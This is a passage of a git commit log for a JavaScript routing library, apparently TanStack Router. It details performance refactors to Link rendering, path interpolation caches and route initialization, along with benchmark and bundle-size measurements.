plumbing) is redundant and is removed; templates are interpolated directly
from the route's parsed segments.

Tests: path, route-tree-caches, path-decoder and the interpolation bench
assert canonical pathnames through `buildLocation` instead of cache
internals.

Performance (Apple M4, Node 24, fresh production bundles, 3 runs each;
measured on a tree that also carried the replaceEqualDeep changes now
proposed separately in #8362, #8363 and #8364):

- Measured alone, with the React Link still spreading a fresh options
  object per navigation so nothing hits the cache: links/react 341.3 ->
  290 hz (-15%); paired link-perf client vs stack HEAD: encoding +30%,
  splats +24% slower (HEAD's pathname cache targeted exactly those), the
  other cases within noise. This commit is the first half of a two-part
  change and regresses on its own.
- With the follow-up react-router commit (stable options object, so 160 of
  161 builds per navigation become 13 ns cache hits; a full build costs
  680-970 ns): links/react 622 hz (+82% vs stack HEAD, rme +-0.4%).
  Paired link-perf client vs origin/main: shared-params -34%, unique-params
  -36%, splats -41%, encoding -54%, active -44%, middleware -14%,
  relative -9%. SSR vs origin/main: -12..-32% on every measured case
  (encoding -23%, splats -18%); vs stack HEAD only SSR encoding is slower
  (+31%).
- Bundle (react-router.minimal gzip, this tree): 85925 -> 85992 (+67) for
  this commit, 1 byte below origin/main (85993); 86038 with the Link commit.
  With #8362, #8363 and #8364 applied as well the tree measures 85983.

Co-authored-by: Copilot App <223556219+Copilot@users.noreply.github.com>

* perf(react-router): keep one options object per Link so locations are reused

`buildLocation` now returns a cached location for an options object whose
previous build never read the current location (06e4504605). The React
Link built a fresh `{ _fromLocation, ..._options }` on every navigation, so
it never hit that cache.

Each Link now owns one `dest` object, memoized on `_options`. The location
selector sets `dest._fromLocation` in place (unless the caller supplied one)
and passes the same object to `router.buildLocation`, so a Link whose
destination does not depend on the current location costs a WeakMap lookup
per navigation instead of a full build. `navigate` and `preloadRoute` still
receive `_options`, so the in-place field never reaches a navigation.

Because object identity is now the router's invalidation signal,
`useValueStable` keeps a shallow copy of `params`/`search`/`activeOptions`
rather than the caller's object. `deepEqual` therefore never short-circuits
on reference equality, and a params object that was mutated in place, or is
backed by accessors, yields a new reference (hence a new `dest`) on the
render that observes the change. A mutation that no render observes is no
longer picked up by a navigation alone; that matches how every other Link
input already behaves.

The server branch had its own inline copy of the active-state, class and
style derivation while the client used `resolveIsActive`. Both now share
`resolveIsActive` and a `resolveStateProps` helper; the results are
identical (`exactPathTest` is the same trailing-slash comparison,
`deepEqual` already treats two key-less search objects as equal, and the
hash check yields `false` on the server because it is never hydrated
there). The two `blockedLink` spreads that position state props before or
after `ref`/handlers are documented in place.

Tests (`link-destination.test.tsx`): the middleware test follows the HMR
sequence (`route.update()` then `router.setRoutes(router.buildRouteTree())`)
instead of expecting a bare `route.update()` to be observed; the test for
an impure `stringifySearch` closing over a mutable variable is dropped
along with that contract; the mutation and accessor tests re-render the
fixture and assert the updated location survives further navigations.

Performance (Apple M4, Node 24, fresh production bundles, 3 runs each;
measured on a tree that also carried the replaceEqualDeep changes now
proposed separately in #8362, #8363 and #8364):

- links/react (200 mounted Links, 8 navigations per lap): 290 -> 622 hz
  against the parent commit, +82% against stack HEAD (341 hz). 160 of the
  161 `buildLocation` calls per navigation become 13 ns cache hits; a full
  build of these Links costs 680-970 ns.
- Paired link-perf client vs the parent commit: shared-params -24%,
  splats -35%, encoding -49%, active -36%, unique-params -25% (wide
  interval), middleware unchanged (never cacheable).
- Combined with the parent, vs origin/main: client shared-params -34%,
  unique-params -36%, splats -41%, encoding -54%, active -44%,
  middleware -14%, relative -9%; SSR -12..-32% on every measured case.
- Bundle (react-router.minimal gzip, this tree): 85992 -> 86038 (+46);
  +113 vs stack HEAD, +45 vs origin/main (85993). With #8362, #8363 and
  #8364 applied as well the tree measures 85983, 10 bytes below origin/main.

Co-authored-by: Copilot App <223556219+Copilot@users.noreply.github.com>

* refactor: stop exporting isPlainObject and isPlainArray

Nothing in the repository imports these two helpers from a package entry
point; they are only called inside `utils.ts` by `deepEqual` and
`replaceEqualDeep`, and `isPlainArray` is unit-tested via `../src/utils`.
#8363 tightens `isPlainObject` to a constructor check that is meant
for the router's own structural sharing, so the helpers are no longer
exported from `@tanstack/router-core`, `@tanstack/react-router`,
`@tanstack/solid-router` or `@tanstack/vue-router`.

No bundle change in react-router.minimal (unused exports were already
tree-shaken): 85983 before and after.

Co-authored-by: Copilot App <223556219+Copilot@users.noreply.github.com>

* chore: add changesets for Link location reuse and the removed helpers

---------

Co-authored-by: Copilot App <223556219+Copilot@users.noreply.github.com>
2026-09-13 13:55:05 +02:00
Manuel Schiller
634da9176e
perf(router-core): streamline route initialization (#8327)
* perf(router-core): reuse parsed route segments for interpolation

Capture original template segments during the existing route-tree parse.
Interpolation only substitutes current values and produces fresh metadata;
it never reparses known routes, including first use and trailing-slash
variants. Rebuild the captured data with the tree for HMR. Parse unknown
templates once per bounded entry and reuse their segments across decoder
changes. Update Devtools and internal test consumers.

Remove internal undefined-path/server-flag compatibility and the divergent
SSR scanner. Both runtimes follow the canonical splat grammar. Keep the
128-result route cache after measuring its removal rather than adding an
unproven configuration option.

Measured against 41e42009be with frozen production bundles:
- 26 client/SSR Link cases, 4 paired replicas each: client unique params
  -3.94% CPU [95% CI -6.30,-1.52], optionals -2.58% [-4.34,-0.78].
  Other cases inconclusive; no supported end-to-end slowdown.
- 1000-route client high-cardinality interpolation -18.55..-24.83%;
  matching with fresh metadata -14.69..-19.12% (5 process samples).
- 1000-route client setup costs an extra 0.084..0.192 ms; sparse first use
  costs about 0.23..0.28 us/call. Retained segment data adds about 200..298 B
  per dynamic route in the measured fixtures.
- All 18 bundle cases add 303..392 gzip B; React minimal/full +311/+326 B.
- Cache-off saves 0.8..0.9 MiB per 1000 used routes and 1.2..1.5 MiB after
  growth, but client encoding/splat Links regress 25.31%/12.71% and SSR
  encoding/splats regress 21.76%/25.37%; retain result caching.
- Shared-value sampled allocations rise 2.18% client/5.23% SSR without that
  cache. Native Vue peaks remain effectively unchanged (macOS captures,
  not a new Linux CodSpeed CI run). Benchmark counts/JIT/GC flags unchanged.

Co-authored-by: Copilot App <223556219+Copilot@users.noreply.github.com>

* perf(router-core): avoid temporary route initialization joins

Build route IDs and full paths with direct string assembly and the existing
cleanPath normalizer. Avoid temporary filter/join arrays and the second ID
normalization. Pathless layouts keep the parent's fullPath unchanged.

Add a focused construction benchmark with fresh route objects and separate
processing-only / allocation-plus-processing cases at 100/1000/10000 routes.
Document why client-nav route-tree-scale is not a construction benchmark.

Standalone attribution against 41e42009be, otherwise unchanged Uint16Array
parser, 7 fresh process replicas and 1000 routes per tree:
- Client processRouteTree+route.init CPU improves 11.48-19.57% across
  static, dynamic, nested and mixed trees (all 95% intervals below zero).
- Server CPU improves 9.39-22.29% (all 95% intervals below zero).
- React Router minimal gzip +6 bytes; the composed parse-once implementation
  is measured separately against the required original bundle budget.

Co-authored-by: Copilot App <223556219+Copilot@users.noreply.github.com>

* perf(router-core): reuse stable path parameter decoders

Compare allowed-character values rather than recompiling the decoder on
every provider-style options update. Equivalent arrays retain warm route
paths; in-place edits and option removal update encoding correctly.
Publish the configuration key only after successful compilation, and
declare optional state without forcing an unused instance field.

Isolated against 3e0b23f46c with the same path-decoder.bench.ts, seven
alternating independent process pairs (200 locations per batch):
- Stable provider updates: 143.3707 -> 122.5572 us, -14.52%
  (95% process interval -15.51% to -13.52%).
- No-update control: 119.1170 -> 118.8155 us, -0.25%
  (interval -1.05% to +0.55%).
- Deliberately changing configuration every batch: 143.8213 -> 147.7340 us,
  +2.72% (interval +1.38% to +4.08%). Reconfiguration remains the cold path.

These are decoder/update mechanism measurements, not a claim about every
React Link render. Standalone React minimal gzip: 86121 -> 86142 bytes
(+21); raw +48 bytes, Brotli +10 bytes.

Add coverage for equivalent options, mutation, removal, direct overrides
and retrying failed compilation.

Co-authored-by: Copilot App <223556219+Copilot@users.noreply.github.com>

* perf(router-core): simplify route-owned path interpolation

Share one canonical scanner between tree processing and unknown templates.
Retain compact dynamic records and derive original parameter names lazily,
instead of reconstructing them during matching. Keep initialization/indexing
and traversal in processRouteTree, including existing nested-mask behavior.

Make pathParamsAllowedCharacters initialization-only, as requested. Compile
the readonly decoder once, remove decoder keys/stamps/update invalidation,
and keep path results on each route. Preserve the shared bounded unmatched
template cache across SSR requests; lightweight matching stays router-local.
Do not add an encoding-specific cache, router-level route map or bulk clear.

Move Devtools-only navigation availability outside the hot formatter.
Preserve legacy standalone fallback match identity and cache behavior,
including inherited params and route-tree replacement. Retain useful encoding
comments and explicit tuple-slot labels.

Final measurements (Node 24.8.0, built production JS, unchanged workloads):
- Original React client-nav Link loop versus 41e42009be, four balanced
  fresh-process pairs: CPU 2.5015016 -> 2.4370936 ms per 8-navigation batch,
  -2.57% (95% process interval -3.72% to -1.42%). Wall -2.58%.
- Fresh 1000-route client processing/init: static -12.39%, dynamic -5.34%,
  nested -6.54%, mixed -2.59%. Server static -9.12%; remaining intervals
  are reported separately and the mixed-server result is inconclusive.
- All 18 gzip fixtures are below 41e by 47-88 bytes. React minimal:
  85801 -> 85731; full: 89392 -> 89318. Raw JS -533..-697 bytes;
  Brotli varies by fixture rather than uniformly shrinking.
- Full 26-case paired client/SSR Link suite: no supported regressions;
  most small changes are inconclusive, not claimed as universal speedups.
- Warm retained path-cache heap saves about 7.8 KiB per 1000 routes in
  default/custom configurations. Native Vue peaks remain near baseline;
  peak, allocation totals and end outstanding are measured separately.

Existing literal grammar/URL/matching expectations are preserved. The
independent oracle covers 49638 segment cases and 338 matching/mask traces
within the old offset range. Initialization-only encoding deliberately
supersedes the previous live-update contract.

Detailed measurements and rejected experiments remain in uncommitted
session reports and LOG.md.

Co-authored-by: Copilot App <223556219+Copilot@users.noreply.github.com>

* perf(router-core): initialize routes directly during tree processing

Remove the optional initRoute callback and unconditionally call
route.init({ originalIndex: index }) at the start of the parent-first visit,
before indexing or parsing the route. Require init on this function's input
without imposing it on masks or the shared template-scanning RouteLike type.

Remove the Router and construction-benchmark forwarding wrappers. Adapt
preinitialized matcher fixtures through one test-only helper with a
non-enumerable no-op init; do not normalize their paths/IDs or change their
expected grammar/matching results. Add real-route initialization order,
index and exactly-once coverage.

Performance versus bc71b06207, seven independent process pairs per
shape/mode using the same built-JS entry and fresh route objects:
- Server static 1000-route processing/init: 0.7781686 -> 0.7623686 ms/tree,
  CPU -2.06% (95% interval -3.26% to -0.84%); wall -2.10%.
- Other construction cells are inconclusive, with no supported slowdown.
- All 18 gzip fixtures improve by 10-26 bytes. React minimal:
  85731 -> 85712 bytes (-19). Raw -20 bytes (-59 for Rsbuild);
  Brotli remains fixture-dependent.

Object creation and forced GC are outside processing timers. The common
measurement entry's obsolete third argument is ignored by the new code,
so once-per-tree callback allocation savings are not overstated.

Full measurements and logs remain in the session's
direct-route-init-20260909 artifacts and uncommitted LOG.md.

Co-authored-by: Copilot App <223556219+Copilot@users.noreply.github.com>

* perf(router-core): pass route initialization indexes directly

Change the internal initializer to route.init(originalIndex). Update the
Route interface, BaseRoute implementation, processRouteTree contract and
both production call sites, including the standalone legacy fallback.
Remove object-literal arguments without adding compatibility wrappers.

Keep route ordering and stored indexes unchanged. Cover primitive arguments,
index zero and the large legacy fallback index explicitly.

Performance versus f2c2d55f99:
- Seven independent fresh-process construction comparisons per shape/mode
  (100, 1000 and 10000 routes; static/dynamic/nested/mixed) show no
  statistically supported timing difference. Do not claim an unproven
  CPU or heap-byte improvement from the removed object literals.
- All 18 gzip fixtures improve by 7-13 bytes. React minimal:
  85712 -> 85702 (-10); full: 89303 -> 89291 (-12).
- Raw JS decreases by 46 bytes in every fixture. Brotli varies.

The same production-JS phase entry and workloads are used on both sides.
Object creation and forced GC are outside processing timers. Detailed
samples, intervals and logs remain in numeric-route-init-20260909 session
artifacts and uncommitted LOG.md.

Co-authored-by: Copilot App <223556219+Copilot@users.noreply.github.com>

* update route trees

* ci: apply automated fixes

---------

Co-authored-by: Copilot App <223556219+Copilot@users.noreply.github.com>
Co-authored-by: autofix-ci[bot] <114827586+autofix-ci[bot]@users.noreply.github.com>
2026-09-13 13:55:04 +02:00
Manuel Schiller
cb8749e9fc
perf(vue-router): remove redundant match fragment (#8326)
Remove the inner Fragment around scroll restoration while retaining the
outer Fragment, script/null condition and fresh shell-slot VNodes. Cover
child state across shell updates/invalidation and SSR script selectors/nonces.

Native malloc profiling on macOS arm64, Node 24.8.0, with the existing
CodSpeed flags, seven preparation calls and three fresh final captures:
- Interrupted peak after middleware split: 733736 -> 295024 bytes (-59.79%).
- Navigation peak after middleware split: 420776 -> 420896 (+120 bytes).
- Composed vs f2530bf453: interrupted -59.79%, navigation -19.32%,
  unique-location churn effectively unchanged (-0.016%).
These are local native measurements, not a Linux CodSpeed CI result.
Navigation end-of-region outstanding malloc increases 12472 bytes versus
the middleware-only control; this endpoint is before teardown, not retained
JS heap. Total allocated native bytes decrease.

Standalone Vue canonical Link CPU: 5.32037 -> 5.30865 ms/batch,
-0.22% [-4.04%, +3.75%], inconclusive across four isolated process pairs.
Incremental gzip: Vue Router minimal/full +1/+1 byte, Vue Start 0/-2.
All four Vue bundles remove 12 raw bytes; other 14 fixtures are identical.
No benchmark flags, workload counts, public APIs or features changed.

Co-authored-by: Copilot App <223556219+Copilot@users.noreply.github.com>
2026-09-13 13:55:04 +02:00
Manuel Schiller
700a714c5f
perf(router-core): reduce navigation allocations (#8325)
* perf(router-core): cache canonical interpolated pathnames

Store the existing canonical decoder's pathname in the route interpolation cache so hits do not decode it again. Keep the standalone interpolation kernel, static/leaveParams paths, non-string fallbacks, cache capacities and decoder/template invalidation unchanged. Cover cold/hit href parity, reserved encodings and coercion fallback.

Against 3905181fd4, four balanced isolated-process pairs reduced encoded-destination client CPU 13.42% (95% CI -14.50% to -12.32%) and wall 13.32% (-14.44% to -12.19%). Shared params CPU improved 1.27% (-2.39% to -0.14%); unique/miss-heavy CPU +0.49% (-0.35% to +1.33%) was inconclusive. Four paired SSR repetitions improved encoded CPU 14.13% (-19.70% to -8.18%) and wall 14.17% (-19.83% to -8.12%).

React Router minimal/full gzip +4/+5 bytes to 85791/89378. Across all 18 fixtures gzip deltas range -7 to +16 bytes. The private microbenchmark now names its normalized-output contract; its changed-scope timings are not used for the speedup claims.

Co-authored-by: Copilot App <223556219+Copilot@users.noreply.github.com>

* perf(router-core): reuse lightweight raw-param snapshots

getMatchedRoutes already copies cached raw params. Reuse that owned snapshot for lightweight parsing instead of allocating another dictionary. Preserve state-param reuse and matcher cache ownership. Cover mutating/throwing live parsers and add an opt-in cold-source location benchmark.

Against ac2ac45367, the same 256-build cold-location benchmark observed client means 0.3434 to 0.2987 ms for one param, 0.7437 to 0.4638 ms for eight, and 1.8625 to 1.1565 ms for 32. Before/after RMEs were 5.15/5.47%, 8.10/4.14%, and 2.37/2.97%. These are cold-mechanism results, not a 38% application speedup; small server cases were noisy and four paired application relative/numeric cases were inconclusive.

React Router minimal/full gzip decreases 6/9 bytes to 85786/89376; raw -35. All 18 fixture gzip deltas range -11 to +1 bytes. No public API, parser behavior or cache capacity changed.

Co-authored-by: Copilot App <223556219+Copilot@users.noreply.github.com>

* perf(router-core): reduce middleware compilation memory

Separate search middleware collection from recursive execution so Maglev
does not build one large compiler graph for both. Preserve live route-option
reads, ordering, validation, legacy filters and the empty-search fast path.
Cover middleware replacement/removal across a previously used route branch.

Native malloc profiling on macOS arm64, Node 24.8.0, using the existing
CodSpeed flags and seven preparation calls (three fresh processes):
- Vue navigation peak: mean 521664 -> 420776 bytes (-19.34%).
- Vue interrupted-navigation peak: 733736 -> 733736 bytes (unchanged).
These are local native allocations, not a new Linux CodSpeed CI run.

Four paired React Link replicas: relative client CPU -2.79%
[-4.37%, -1.18%]; shared/updater/middleware cases are inconclusive.
Isolated SSR CPU means range -1.63% to +1.28%, all inconclusive.
React Router minimal/full gzip: +15/+16 bytes; all 18 gzip deltas -6..+20.
Keep all benchmark JIT/GC flags and operation counts unchanged.

Co-authored-by: Copilot App <223556219+Copilot@users.noreply.github.com>

---------

Co-authored-by: Copilot App <223556219+Copilot@users.noreply.github.com>
2026-09-13 13:55:04 +02:00
Manuel Schiller
6387d581ea
perf(react-router): reduce Link runtime allocations (#8324)
* perf(react-router): filter native Link props once

Omit type and disabled in one rest copy for native anchors instead of copying the hook result twice. Custom components still receive disabled, and useLinkProps still returns supported type/disabled values. Add client/SSR coverage for those distinctions, refs and render-function children.

Against 6e4584e0d8, four balanced fresh-process pairs with one implementation per process reduced client parameter-updater CPU from 15.61515 to 15.14615 ms per eight-navigation batch (-3.00%, 95% CI -4.19% to -1.80%); wall -3.04% (-4.29% to -1.78%). SSR shared-param CPU fell from 1.45208 to 1.41006 ms per four-request batch (-2.89%, CI -3.80% to -1.98%); wall -2.85% (-3.84% to -1.84%). Earlier co-loaded comparisons were inconclusive.

React Router minimal gzip -5 bytes to 85773; full +1 to 89358. Other React fixtures vary -3 to +4 bytes, raw +14; Solid/Vue remain byte-identical. No public API or prop functionality removed.

Co-authored-by: Copilot App <223556219+Copilot@users.noreply.github.com>

* perf(react-router): stabilize hydration snapshot getters

Reuse the existing true/false snapshot functions instead of allocating them on every useHydrated render. This lets React skip unnecessary store-instance passive bookkeeping without changing hydration values or adding hooks. Cover stable identities and an actual server-render/hydrateRoot transition.

Against b6971a434a, four balanced fresh-process pairs per case (200 warmup and 500 measured eight-navigation batches) reduced parameter-updater CPU from 15.16880 to 14.99436 ms (-1.15%, 95% CI -1.84% to -0.46%); wall -1.05% (-1.62% to -0.47%). Middleware CPU fell from 15.23708 to 14.81729 ms (-2.75%, CI -4.46% to -1.01%); wall -2.79% (-4.53% to -1.01%).

React Router minimal/full gzip increases 14/15 bytes for this isolated fix, remaining below the initial branch baseline. All Solid/Vue bundle output is unchanged. Public APIs, server snapshots and client hydration transitions are preserved.

Co-authored-by: Copilot App <223556219+Copilot@users.noreply.github.com>

---------

Co-authored-by: Copilot App <223556219+Copilot@users.noreply.github.com>
2026-09-13 13:55:03 +02:00
Manuel Schiller
9a356d7505
test(benchmarks): profile unmodified React Link bundles (#8323)
Keep comparison snapshots in SWC's existing node_modules exclusion so emitted JavaScript is not retranspiled and source-map positions remain valid. Preserve asynchronous ESM loading and add a failing-before source-integrity regression.

Four-replica identical-bundle calibration: client shared-params CPU +0.92% [-4.14%, +6.24%], wall +1.03% [-4.55%, +6.93%]; SSR CPU +0.17% [-6.32%, +7.11%], wall +0.15% [-6.44%, +7.21%]. Intervals include zero; no speedup is claimed. Production code is unchanged; baseline React Router gzip is 85797/89379 bytes.

Co-authored-by: Copilot App <223556219+Copilot@users.noreply.github.com>
2026-09-13 13:55:03 +02:00
Manuel Schiller
d76a33284b
perf(router-core): consolidate interpolation caches (#8321)
* refactor(router-core): consolidate path interpolation

Remove the object-returning internal wrapper and keep one interpolatePath returning a pathname with optional metadata outputs. Migrate router, devtools, tests, and benchmarks while leaving parsing and cache limits unchanged.

Devtools requests only missing-param status. Tests use direct expected paths and explicit metadata; cache benchmarks no longer carry obsolete factory compatibility dispatch.

React Router minimal/full gzip are 85829/89413 bytes (+5/+4 from 8a9f57e638, still 14/4 below measured main). Full units/types/exports and 76 browser cases pass; eight paired client/SSR workloads show no supported timing change.

Co-authored-by: Copilot App <223556219+Copilot@users.noreply.github.com>

* perf(router-core): keep derived caches on routes

Store branches and interpolation plans directly on route objects. Use the already-resolved destination route, remove the fixed outer limit for registered templates, and retain128 results per route. Keep a bounded32-template fallback for arbitrary templates and masks.

Build/install route-tree indexes and string caches as one bundle for existing SSR reuse. Reinitialization clears ancestor branches; interpolation plans validate their exact template and decoder without unconditional resets. Loaded match data remains request-local.

Against29509b9b98, paired core buildLocation batches over64/256 templates use40-43% less CPU; four fresh server routers generating200 hrefs each use8-9% less. Reversed import order corroborates these scoped results. Four real client/SSR Link cases remain statistically inconclusive.

All18 bundle fixtures shrink19-37 gzip bytes versus the consolidation baseline. React Router minimal/full are85797/89379 bytes,46/38 below measured main. Tests cover SSR request cleanup, route reuse, decoder/trailing variants, reparenting, result bounds and fallback capacity.

Co-authored-by: Copilot App <223556219+Copilot@users.noreply.github.com>

* test(router-core): add opt-in matching interpolation benchmarks

Cover client/server matching with cold and Link-primed route plans, nested params, high-cardinality misses, optional params, and splats. Gate all additional cases behind TSR_LINK_PERF=1.

Evaluate six matching-cache prototypes without retaining production changes. Eager variants regress repeated misses by24-64%. Read-through reuse improves warm matching microcases but adds65 gzip bytes; all26 application Link/SSR comparisons show no supported speedup, with one relative-Link slowdown. Real HTTP SSR ABBA means differ by only -0.41%, within observed variation.

Restore production and all18 bundle metrics exactly to ec05cc6bec. Preserve detailed measurements and rejected prototypes in session artifacts and uncommitted LOG.md.

Co-authored-by: Copilot App <223556219+Copilot@users.noreply.github.com>

---------

Co-authored-by: Copilot App <223556219+Copilot@users.noreply.github.com>
2026-09-13 13:55:03 +02:00
Manuel Schiller
f151ab018e
perf(router-core): compact navigation parameter resolution (#8328)
Declare the native null-prototype target once for non-inheriting parameter modes. Preserve updater isolation, native copy counts, and literal-parameter merge behavior. Group parameter resolution with search middleware without changing Link or path interpolation logic.

Official current-branch bundles shrink in all 18 scenarios by 2-30 gzip bytes versus 9c7cab48c1. React Router minimal: 85778 -> 85748 (-30); full: 89386 -> 89384 (-2).

A matched-main preview against cf166d160e measures React Router minimal at 85805 versus main 85821 (-16), and full at 89385 versus main 89398 (-13). Eight of nine matched-main React fixtures meet main; Start+Query remains +25 bytes. Small Solid overages are retained as agreed.

Eight paired client/SSR cases with four independent replicas each detected no supported timing regression or improvement. Add coverage for fresh updater copies, null prototypes, inheritance, and clearing.

Co-authored-by: Copilot App <223556219+Copilot@users.noreply.github.com>
2026-09-13 13:55:02 +02:00
Manuel Schiller
873c830ccb
refactor(router-core): clarify segment interpolation (#8319)
Organize the generic interpolation loop into static, wildcard, and named-parameter behavior blocks. Keep one shared key lookup, one encoding step, and one prefix/value/suffix assembly. Name affix boundaries and keep optional/missing wildcard behavior local to its segment type.

Replace the self-clearing onMissing callback with an optional metadata result object. The public interpolatePath wrapper reuses its existing result object; pathname-only callers still allocate no metadata. Preserve one parameter read, the reusable parser buffer, absent optional cache keys, canonical and legacy splat metadata, and public return values. Fast-path empty splat strings before the URL-safe regex so sharing the encoding step does not penalize omitted values.

Final official gzip measurements versus 5017a72614:
- React minimal: 85771 -> 85769 (-2 bytes).
- React full: 89384 -> 89382 (-2 bytes).
- All 18 fixtures range from -4 to +8 bytes; no unrelated source changes compensate for interpolation cost.

Added mixed-type/affix metadata coverage and direct pathname-kernel benchmarks. Paired fixed-seed CPU measurements of the real parent/current modules show effectively flat required client pathname interpolation (+0.04%) and 0.37-4.14% lower time in the other sampled required/optional/splat/mixed/missing client/server combinations. These are focused kernel diagnostics, not a broad application speedup claim.

Preserve the experiments, rejected larger variants, full fixture metrics, and raw benchmark output in uncommitted LOG.md and session artifacts.

Co-authored-by: Copilot App <223556219+Copilot@users.noreply.github.com>
2026-09-13 13:55:02 +02:00
Manuel Schiller
9b2adaf8c3
perf(router): optimize Link state props across frameworks (#8318)
* perf(router): compact Solid and Vue Link state props

Port the React Link bundle-size reductions to Solid and Vue: share exact/fuzzy pathname normalization, resolve only the selected active/inactive props, concatenate classes without temporary arrays, and avoid style allocation when neither source supplies styles. Vue forwards and visits one selected props object in both client and SSR paths.

Keep framework-specific behavior: Solid retains its default-styling fast path and base href/handler precedence; Vue retains state-prop overrides and zero-argument callbacks. Both keep style snapshots so mutable Solid stores and Vue proxies remain reactive, including additions to empty style objects. No public API or unrelated production code changes.

Official gzip measurements versus d4cc307869:
- Solid minimal: 34017 -> 33973 (-44 bytes).
- Solid full: 38973 -> 38930 (-43 bytes).
- Vue minimal: 50731 -> 50646 (-85 bytes).
- Vue full: 56484 -> 56395 (-89 bytes).
All nine Solid/Vue Router/Start fixtures shrink by 26-104 gzip bytes; all nine React fixtures remain byte-identical.

Independent hunk attribution: active pathname checks save 36/41 Solid and 37/34 Vue bytes. State-prop changes alone save 0/2 Solid and 46/53 Vue bytes. Combined gzip deltas are not additive.

Existing 200-Link/eight-navigation workloads were compared with frozen parent, props-only, and final bundles. Standalone wall-time runs were too variable for a speed claim. Interleaved fixed-seed checks, repeated with reversed module order, showed effectively flat rendering cost: Solid mean CPU -1.49% / +0.33%, Vue -0.23% / -0.29%; corresponding wall changes -1.81% / +0.50% and -0.12% / -0.33%. No incremental rendering speedup is claimed. Raw results and experiments remain in uncommitted LOG.md and session artifacts.

Co-authored-by: Copilot App <223556219+Copilot@users.noreply.github.com>

* fix(router): honor Link state props and Vue class bindings

Apply selected active/inactive props after ordinary base props in Solid and React, including React server output. Preserve the dedicated class concatenation and style merge handling. Add client/server regressions for supported refs and event handlers; do not widen the state-prop API to router navigation options.

Keep Vue object and nested-array class values intact instead of interpolating them into strings. Compose base/state values with Vue-compatible arrays, retain omitted-class behavior, and clone props at VNode creation because Vue normalizes class values in place. This preserves cached bindings and later reactive class changes. Vue ordinary state-attribute precedence was already correct and is left unchanged.

The regressions were run on the pre-fix implementations and failed for the reported behaviors, then passed after the fixes. Full framework unit/type/lint/package and Chromium coverage passes. Bundle impact remains small: React/Solid raw bytes unchanged; Vue Router minimal/full are 14/10 gzip bytes smaller. Detailed red/green evidence and measurements are kept in uncommitted LOG.md and session artifacts.

Co-authored-by: Copilot App <223556219+Copilot@users.noreply.github.com>

* fix(solid-router): preserve computed Link routing props

Restore the computed href, target, and disabled values after active/inactive state props. Keep state-prop ref/event overrides, class/style composition, and the default styling fast path unchanged for client and SSR rendering.

Reproduce the history/rewrite href failures and extend existing state-prop regressions to cover conflicting routing fields. Full validation passes 922 client tests (one skipped), 33 server tests, type/lint/export checks, and 24 Chromium cases.

The full bundle matrix adds 16/13 gzip bytes to Solid Router minimal/full and 13-17 bytes to Solid Start fixtures. React and Vue bundles are unchanged; no extra allocations or href recomputation are introduced.

Co-authored-by: Copilot App <223556219+Copilot@users.noreply.github.com>

---------

Co-authored-by: Copilot App <223556219+Copilot@users.noreply.github.com>
2026-09-13 13:55:01 +02:00
Manuel Schiller
94f6c14f6b
test(router): add stable Link performance benchmarks (#8317)
* test(router): add opt-in React Link performance cases

Add 13 shared typed workloads measured through production client navigation and real SSR rendering: shared/unique params, updater functions, inheritance, relative targets, middleware chains, numeric parse/stringify, optional/splat segments, encoding, masks, rewrites, and active props with structured search and style merging.

Keep all 26 benchmarks outside the existing client-nav/SSR aggregate projects and CodSpeed build graph. The dedicated @benchmarks/react-link-performance targets require TSR_LINK_PERF=1 for discovery; disabled suites import no app. Gate tests cover explicit enablement and production environment selection.

Client batches perform eight navigations with 200 persistent measured Links. SSR batches create/load/render/dispose four fresh routers. Independent href, active-state, style, and history-state updater assertions run outside the measured loops. No production packages or dependencies change.

Compared identical sources on origin/main 28a5e4504e and captured HEAD bbaa7b3f29, with two fresh processes per ref/mode in counterbalanced order, 50 warm-up iterations, and 3-second windows. Full-suite results show lower HEAD client times for most cases (10.6% shared params, 13.2% search/hash/state updaters, 17.1% masks); SSR updater and optional cases show 14.8% and 12.4% reductions. These are whole-ref comparisons, not improvements from this benchmark-only commit.

Run-to-run noise is significant for small differences. Initial middleware and unique-param SSR slowdowns reversed in focused reruns, so they are not established regressions. Preserve both full-suite and focused data in the uncommitted experiment log and session artifacts.

Co-authored-by: Copilot App <223556219+Copilot@users.noreply.github.com>

* test(router): stabilize opt-in Link performance comparisons

Bound control navigation history with replace and assert that the measured anchors remain mounted. Share the exact setup, batch, and post-measurement assertions between normal Vitest benches and the paired comparison runner. Increase normal warm-up and measurement windows.

Add an opt-in stable runner with a fresh process per case/replica, separate router/app modules, one shared production React runtime, deterministic V8 random/hash seeds, alternating initialization order, and ABBA/BAAB fixed-work blocks. Record main-thread CPU, wall time, whole-process CPU, bundle hashes, and all raw blocks. Derive per-case 95% intervals from independent process replicas rather than correlated individual batches; require CPU and wall results to corroborate a direction.

Same-code controls exposed substantial noise in earlier methods. The selected control was centered near zero (client CPU -0.95%, SSR CPU -0.56%), with intervals still several percentage points wide. Keep unresolved measurements explicitly inconclusive instead of labeling them regressions.

Compared fixed runtime refs origin/main 28a5e4504e and bbaa7b3f29 across all 26 cases with four fresh-process replicas each: 16 cases support speedups, 10 remain inconclusive, and none support a slowdown in both metrics. Client middleware CPU: -5.95% [-13.89%, +2.73%]; SSR middleware: -16.06% [-31.65%, +3.09%]; SSR unique params: -5.08% [-14.97%, +5.96%]. These do not establish middleware or unique-param regressions.

No production package code or default CodSpeed workflow changes. Keep the complete raw matrix, calibration trials, snapshots, and detailed conclusions in uncommitted session artifacts and LOG.md.

Co-authored-by: Copilot App <223556219+Copilot@users.noreply.github.com>

---------

Co-authored-by: Copilot App <223556219+Copilot@users.noreply.github.com>
2026-09-13 13:55:01 +02:00
Manuel Schiller
7e349c3071
perf(router): share Link pathname interpolation (#8252)
* perf(router-core): share pathname interpolation across Links

Reuse the existing segment parser to prepare parameter-name lists. Share pure interpolated path strings through bounded router-scoped SIEVE caches (32 templates, 128 paths per template). Avoid compound-key allocation for single-parameter templates and reuse the current template plan.

Parameter callbacks still run before interpolation. Search, hash, state, masks, rewrites, and active-state handling remain independent. Decoder changes clear the caches. No per-Link result cache, descriptor checks, new route matcher, or public API change.

React Link rendering benchmark, measured separately for this commit
and its parent using exact production builds:
- Workload: benchmarks/client-nav/scenarios/links/react/speed.bench.ts
  (200 persistent Links, eight navigations per measured batch).
- Apple M4, Node 24.20.0, Vitest 4.1.4, NODE_ENV=production.
- 8 fresh parent processes and 4 fresh processes for this commit,
  each with warmupIterations=50 and time=10000 ms;
  counterbalanced run order.
- Parent mean times (ms): 3.8767, 3.8900, 4.5507, 4.0116, 3.8297, 3.8582, 3.8879, 4.0157.
- This commit mean times (ms): 2.8824, 2.8625, 2.9597, 2.9673.
